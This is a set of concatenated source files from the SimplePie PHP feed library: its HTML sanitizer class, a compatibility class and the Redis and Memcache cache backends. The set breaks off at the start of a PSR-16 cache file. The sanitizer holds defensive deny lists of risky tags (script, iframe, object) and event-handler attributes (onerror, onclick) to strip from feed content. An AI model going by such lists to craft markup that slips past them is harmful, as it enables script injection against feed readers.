    // Private vars
    /** @var string */
    public $base = '';

    // Options
    /** @var bool */
    public $remove_div = true;
    /** @var string */
    public $image_handler = '';
    /** @var string[] */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
    /** @var bool */
    public $encode_instead_of_strip = false;
    /** @var string[] */
    public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
    /** @var string[] */
    public $rename_attributes = [];
    /** @var array<string, array<string, string>> */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
    /** @var bool */
    public $strip_comments = false;
    /** @var string */
    public $output_encoding = 'UTF-8';
    /** @var bool */
    public $enable_cache = true;
    /** @var string */
    public $cache_location = './cache';
    /** @var string&(callable(string): string) */
    public $cache_name_function = 'md5';

    /**
     * @var NameFilter
     */
    private $cache_namefilter;
    /** @var int */
    public $timeout = 10;
    /** @var string */
    public $useragent = '';
    /** @var bool */
    public $force_fsockopen = false;
    /** @var array<string, string|string[]> */
    public $replace_url_attributes = [];
    /**
     * @var array<int, mixed> Custom curl options
     * @see SimplePie::set_curl_options()
     */
    private $curl_options = [];

    /** @var Registry */
    public $registry;

    /**
     * @var DataCache|null
     */
    private $cache = null;

    /**
     * @var int Cache duration (in seconds)
     */
    private $cache_duration = 3600;

    /**
     * List of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * Array is a tree split at DNS levels. Example:
     * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
     * @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>>
     */
    public $https_domains = [];

    /**
     * @var Client|null
     */
    private $http_client = null;

    public function __construct()
    {
        // Set defaults
        $this->set_url_replacements(null);
    }

    /**
     * @return void
     */
    public function remove_div(bool $enable = true)
    {
        $this->remove_div = (bool) $enable;
    }

    /**
     * @param string|false $page
     * @return void
     */
    public function set_image_handler($page = false)
    {
        if ($page) {
            $this->image_handler = (string) $page;
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @param (string&(callable(string): string))|NameFilter $cache_name_function
     * @param class-string<Cache> $cache_class
     * @return void
     */
    public function pass_cache_data(bool $enable_cache = true, string $cache_location = './cache', $cache_name_function = 'md5', string $cache_class = Cache::class, ?DataCache $cache = null)
    {
        $this->enable_cache = $enable_cache;

        if ($cache_location) {
            $this->cache_location = $cache_location;
        }

        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if (!is_string($cache_name_function) && !$cache_name_function instanceof NameFilter) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #3 ($cache_name_function) must be of type %s',
                __METHOD__,
                NameFilter::class
            ), 1);
        }

        // BC: $cache_name_function could be a callable as string
        if (is_string($cache_name_function)) {
            // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
            $this->cache_name_function = $cache_name_function;

            $cache_name_function = new CallableNameFilter($cache_name_function);
        }

        $this->cache_namefilter = $cache_name_function;

        if ($cache !== null) {
            $this->cache = $cache;
        }
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * @deprecated since SimplePie 1.9.0, use \SimplePie\Sanitize::set_http_client() instead.
     * @param class-string<File> $file_class
     * @param array<int, mixed> $curl_options
     * @return void
     */
    public function pass_file_data(string $file_class = File::class, int $timeout = 10, string $useragent = '', bool $force_fsockopen = false, array $curl_options = [])
    {
        // trigger_error(sprintf('SimplePie\Sanitize::pass_file_data() is deprecated since SimplePie 1.9.0, please use "SimplePie\Sanitize::set_http_client()" instead.'), \E_USER_DEPRECATED);
        if ($timeout) {
            $this->timeout = $timeout;
        }

        if ($useragent) {
            $this->useragent = $useragent;
        }

        if ($force_fsockopen) {
            $this->force_fsockopen = $force_fsockopen;
        }

        $this->curl_options = $curl_options;
        // Invalidate the registered client.
        $this->http_client = null;
    }

    /**
     * @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
     * @return void
     */
    public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
    {
        if ($tags) {
            if (is_array($tags)) {
                $this->strip_htmltags = $tags;
            } else {
                $this->strip_htmltags = explode(',', $tags);
            }
        } else {
            $this->strip_htmltags = [];
        }
    }

    /**
     * @return void
     */
    public function encode_instead_of_strip(bool $encode = false)
    {
        $this->encode_instead_of_strip = $encode;
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function rename_attributes($attribs = [])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->rename_attributes = $attribs;
            } else {
                $this->rename_attributes = explode(',', $attribs);
            }
        } else {
            $this->rename_attributes = [];
        }
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->strip_attributes = $attribs;
            } else {
                $this->strip_attributes = explode(',', $attribs);
            }
        } else {
            $this->strip_attributes = [];
        }
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return void
     */
    public function add_attributes(array $attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
    {
        $this->add_attributes = $attribs;
    }

    /**
     * @return void
     */
    public function strip_comments(bool $strip = false)
    {
        $this->strip_comments = $strip;
    }

    /**
     * @return void
     */
    public function set_output_encoding(string $encoding = 'UTF-8')
    {
        $this->output_encoding = $encoding;
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
     * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
     * |ins|@cite, |q|@cite, |source|@src, |video|@src
     *
     * @since 1.0
     * @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
     * @return void
     */
    public function set_url_replacements(?array $element_attribute = null)
    {
        if ($element_attribute === null) {
            $element_attribute = [
                'a' => 'href',
                'area' => 'href',
                'audio' => 'src',
                'blockquote' => 'cite',
                'del' => 'cite',
                'form' => 'action',
                'img' => [
                    'longdesc',
                    'src'
                ],
                'input' => 'src',
                'ins' => 'cite',
                'q' => 'cite',
                'source' => 'src',
                'video' => [
                    'poster',
                    'src'
                ]
            ];
        }
        $this->replace_url_attributes = $element_attribute;
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Misc::https_url()
     * Example array('biz', 'example.com', 'example.org', 'www.example.net');
     *
     * @param string[] $domains list of domain names ['biz', 'example.com', 'example.org', 'www.example.net']
     *
     * @return void
     */
    public function set_https_domains(array $domains)
    {
        $this->https_domains = [];
        foreach ($domains as $domain) {
            $domain = trim($domain, ". \t\n\r\0\x0B");
            $segments = array_reverse(explode('.', $domain));
            /** @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>> */ // Needed for PHPStan.
            $node = &$this->https_domains;
            foreach ($segments as $segment) {//Build a tree
                if ($node === true) {
                    break;
                }
                if (!isset($node[$segment])) {
                    $node[$segment] = [];
                }
                $node = &$node[$segment];
            }
            $node = true;
        }
    }

    /**
     * Check if the domain is in the list of forced HTTPS.
     *
     * @return bool
     */
    protected function is_https_domain(string $domain)
    {
        $domain = trim($domain, '. ');
        $segments = array_reverse(explode('.', $domain));
        $node = &$this->https_domains;
        foreach ($segments as $segment) {//Explore the tree
            if (isset($node[$segment])) {
                $node = &$node[$segment];
            } else {
                break;
            }
        }
        return $node === true;
    }

    /**
     * Force HTTPS for selected Web sites.
     *
     * @return string
     */
    public function https_url(string $url)
    {
        return (
            strtolower(substr($url, 0, 7)) === 'http://'
            && ($parsed = parse_url($url, PHP_URL_HOST)) !== false // Malformed URL
            && $parsed !== null // Missing host
            && $this->is_https_domain($parsed) // Should be forced?
        ) ? substr_replace($url, 's', 4, 0) // Add the 's' to HTTPS
        : $url;
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base
     * @return string Sanitized data; false if output encoding is changed to something other than UTF-8 and conversion fails
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        $data = trim($data);
        if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
            if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
                if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
                } else {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
                }
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
                $data = base64_decode($data);
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                if (!class_exists('DOMDocument')) {
                    throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
                }
                $document = new \DOMDocument();
                $document->encoding = 'UTF-8';

                // PHPStan seems to have trouble resolving int-mask because bitwise
                // operators are used when operators are used when passing this parameter.
                // https://github.com/phpstan/phpstan/issues/9384
                /** @var int-mask-of<SimplePie::CONSTRUCT_*> $type */
                $data = $this->preprocess($data, $type);

                set_error_handler([Misc::class, 'silence_errors']);
                $document->loadHTML($data);
                restore_error_handler();

                $xpath = new \DOMXPath($document);

                // Strip comments
                if ($this->strip_comments) {
                    /** @var \DOMNodeList<\DOMComment> */
                    $comments = $xpath->query('//comment()');

                    foreach ($comments as $comment) {
                        $parentNode = $comment->parentNode;
                        assert($parentNode !== null, 'For PHPStan, comment must have a parent');
                        $parentNode->removeChild($comment);
                    }
                }

                // Strip out HTML tags and attributes that might cause various security problems.
                // Based on recommendations by Mark Pilgrim at:
                // https://web.archive.org/web/20110902041826/http://diveintomark.org:80/archives/2003/06/12/how_to_consume_rss_safely
                if ($this->strip_htmltags) {
                    foreach ($this->strip_htmltags as $tag) {
                        $this->strip_tag($tag, $document, $xpath, $type);
                    }
                }

                if ($this->rename_attributes) {
                    foreach ($this->rename_attributes as $attrib) {
                        $this->rename_attr($attrib, $xpath);
                    }
                }

                if ($this->strip_attributes) {
                    foreach ($this->strip_attributes as $attrib) {
                        $this->strip_attr($attrib, $xpath);
                    }
                }

                if ($this->add_attributes) {
                    foreach ($this->add_attributes as $tag => $valuePairs) {
                        $this->add_attr($tag, $valuePairs, $document);
                    }
                }

                // Replace relative URLs
                $this->base = $base;
                foreach ($this->replace_url_attributes as $element => $attributes) {
                    $this->replace_urls($document, $element, $attributes);
                }

                // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
                if ($this->image_handler !== '' && $this->enable_cache) {
                    $images = $document->getElementsByTagName('img');

                    foreach ($images as $img) {
                        if ($img->hasAttribute('src')) {
                            $image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
                            $cache = $this->get_cache($image_url);

                            if ($cache->get_data($image_url, false)) {
                                $img->setAttribute('src', $this->image_handler . $image_url);
                            } else {
                                try {
                                    $file = $this->get_http_client()->request(
                                        Client::METHOD_GET,
                                        $img->getAttribute('src'),
                                        ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']]
                                    );
                                } catch (ClientException $th) {
                                    continue;
                                }

                                if ((!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
                                    if ($cache->set_data($image_url, ['headers' => $file->get_headers(), 'body' => $file->get_body_content()], $this->cache_duration)) {
                                        $img->setAttribute('src', $this->image_handler . $image_url);
                                    } else {
                                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                                    }
                                }
                            }
                        }
                    }
                }

                // Get content node
                $div = null;
                if (($item = $document->getElementsByTagName('body')->item(0)) !== null) {
                    $div = $item->firstChild;
                }
                // Finally, convert to a HTML string
                $data = trim((string) $document->saveHTML($div));

                if ($this->remove_div) {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
                    // Cast for PHPStan, it is unable to validate a non-literal regex above.
                    $data = preg_replace('/<\/div>$/', '', (string) $data);
                } else {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
                }

                // Cast for PHPStan, it is unable to validate a non-literal regex above.
                $data = str_replace('</source>', '', (string) $data);
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
                $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
                if ($absolute !== false) {
                    $data = $absolute;
                }
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
                $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
            }

            if ($this->output_encoding !== 'UTF-8') {
                // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
                /** @var string */
                $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
            }
        }
        return $data;
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @return string
     */
    protected function preprocess(string $html, int $type)
    {
        $ret = '';
        $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
        if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
            // Atom XHTML constructs are wrapped with a div by default
            // Note: No protection if $html contains a stray </div>!
            $html = '<div>' . $html . '</div>';
            $ret .= '<!DOCTYPE html>';
            $content_type = 'text/html';
        } else {
            $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
            $content_type = 'application/xhtml+xml';
        }

        $ret .= '<html><head>';
        $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
        $ret .= '</head><body>' . $html . '</body></html>';
        return $ret;
    }

    /**
     * @param array<string>|string $attributes
     * @return void
     */
    public function replace_urls(DOMDocument $document, string $tag, $attributes)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes];
        }

        if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
            $elements = $document->getElementsByTagName($tag);
            foreach ($elements as $element) {
                foreach ($attributes as $attribute) {
                    if ($element->hasAttribute($attribute)) {
                        $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
                        if ($value !== false) {
                            $value = $this->https_url($value);
                            $element->setAttribute($attribute, $value);
                        }
                    }
                }
            }
        }
    }

    /**
     * @param array<int, string> $match
     * @return string
     */
    public function do_strip_htmltags(array $match)
    {
        if ($this->encode_instead_of_strip) {
            if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
                $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
                $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
                return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
            } else {
                return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
            }
        } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
            return $match[4];
        } else {
            return '';
        }
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @return void
     */
    protected function strip_tag(string $tag, DOMDocument $document, DOMXPath $xpath, int $type)
    {
        $elements = $xpath->query('body//' . $tag);

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($tag)',
                __METHOD__
            ), 1);
        }

        if ($this->encode_instead_of_strip) {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();

                // For elements which aren't script or style, include the tag itself
                if (!in_array($tag, ['script', 'style'])) {
                    $text = '<' . $tag;
                    if ($element->attributes !== null) {
                        $attrs = [];
                        foreach ($element->attributes as $name => $attr) {
                            $value = $attr->value;

                            // In XHTML, empty values should never exist, so we repeat the value
                            if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                                $value = $name;
                            }
                            // For HTML, empty is fine
                            elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
                                $attrs[] = $name;
                                continue;
                            }

                            // Standard attribute text
                            $attrs[] = $name . '="' . $attr->value . '"';
                        }
                        $text .= ' ' . implode(' ', $attrs);
                    }
                    $text .= '>';
                    $fragment->appendChild(new \DOMText($text));
                }

                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    if (($child = $element->childNodes->item(0)) !== null) {
                        $fragment->appendChild($child);
                    }
                }

                if (!in_array($tag, ['script', 'style'])) {
                    $fragment->appendChild(new \DOMText('</' . $tag . '>'));
                }

                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->replaceChild($fragment, $element);
                }
            }

            return;
        } elseif (in_array($tag, ['script', 'style'])) {
            foreach ($elements as $element) {
                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->removeChild($element);
                }
            }

            return;
        } else {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();
                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    if (($child = $element->childNodes->item(0)) !== null) {
                        $fragment->appendChild($child);
                    }
                }

                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->replaceChild($fragment, $element);
                }
            }
        }
    }

    /**
     * @return void
     */
    protected function strip_attr(string $attrib, DOMXPath $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($attrib)',
                __METHOD__
            ), 1);
        }

        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            $element->removeAttribute($attrib);
        }
    }

    /**
     * @return void
     */
    protected function rename_attr(string $attrib, DOMXPath $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($attrib)',
                __METHOD__
            ), 1);
        }

        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
            $element->removeAttribute($attrib);
        }
    }

    /**
     * @param array<string, string> $valuePairs
     * @return void
     */
    protected function add_attr(string $tag, array $valuePairs, DOMDocument $document)
    {
        $elements = $document->getElementsByTagName($tag);
        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            foreach ($valuePairs as $attrib => $value) {
                $element->setAttribute($attrib, $value);
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache(string $image_url = ''): DataCache
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $image_url,
                Base::TYPE_IMAGE
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        if ($this->http_client === null) {
            $this->http_client = new FileClient(
                $this->registry,
                [
                    'timeout' => $this->timeout,
                    'redirects' => 5,
                    'useragent' => $this->useragent,
                    'force_fsockopen' => $this->force_fsockopen,
                    'curl_options' => $this->curl_options,
                ]
            );
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
Core.php000064400000004273151450001630006146 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{

}Cache/Redis.php000064400000010321151450001630007316 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Jan Kozak <galvani78@gmail.com>
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Redis as NativeRedis;

/**
 * Caches data to redis
 *
 * Registered for URLs with the "redis" protocol
 *
 * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
 * connect to redis on `localhost` on port 6379. All tables will be
 * prefixed with `simple_primary-` and data will expire after 3600 seconds
 *
 * @uses Redis
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Redis implements Base
{
    /**
     * Redis instance
     *
     * @var NativeRedis
     */
    protected $cache;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE|array<string, mixed>|null $options Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $options = null)
    {
        //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
        $parsed = \SimplePie\Cache::parse_URL($location);
        $redis = new NativeRedis();
        $redis->connect($parsed['host'], $parsed['port']);
        if (isset($parsed['pass'])) {
            $redis->auth($parsed['pass']);
        }
        if (isset($parsed['path'])) {
            $redis->select((int)substr($parsed['path'], 1));
        }
        $this->cache = $redis;

        if (!is_null($options) && is_array($options)) {
            $this->options = $options;
        } else {
            $this->options = [
                'prefix' => 'rss:simple_primary:',
                'expire' => 0,
            ];
        }

        $this->name = $this->options['prefix'] . $name;
    }

    /**
     * @param NativeRedis $cache
     * @return void
     */
    public function setRedisClient(NativeRedis $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        $response = $this->cache->set($this->name, serialize($data));
        if ($this->options['expire']) {
            $this->cache->expire($this->name, $this->options['expire']);
        }

        return $response;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            $return = $this->cache->set($this->name, $data);
            if ($this->options['expire']) {
                return $this->cache->expire($this->name, $this->options['expire']);
            }
            return $return;
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->set($this->name, null);
    }
}

class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis');
Cache/Memcache.php000064400000007200151450001630007754 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Memcache as NativeMemcache;

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @uses Memcache
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcache implements Base
{
    /**
     * Memcache instance
     *
     * @var NativeMemcache
     */
    protected $cache;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'host' => '127.0.0.1',
            'port' => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix' => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcache();
        $this->cache->addServer($this->options['host'], (int) $this->options['port']);
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            // essentially ignore the mtime because Memcache expires on its own
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }
}

class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache');
Cache/Psr16.php000064400000006270151450001630007173 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Psr\SimpleCache\CacheInterface;
use Psr\SimpleCache\InvalidArgumentException;
use Throwable;

/**
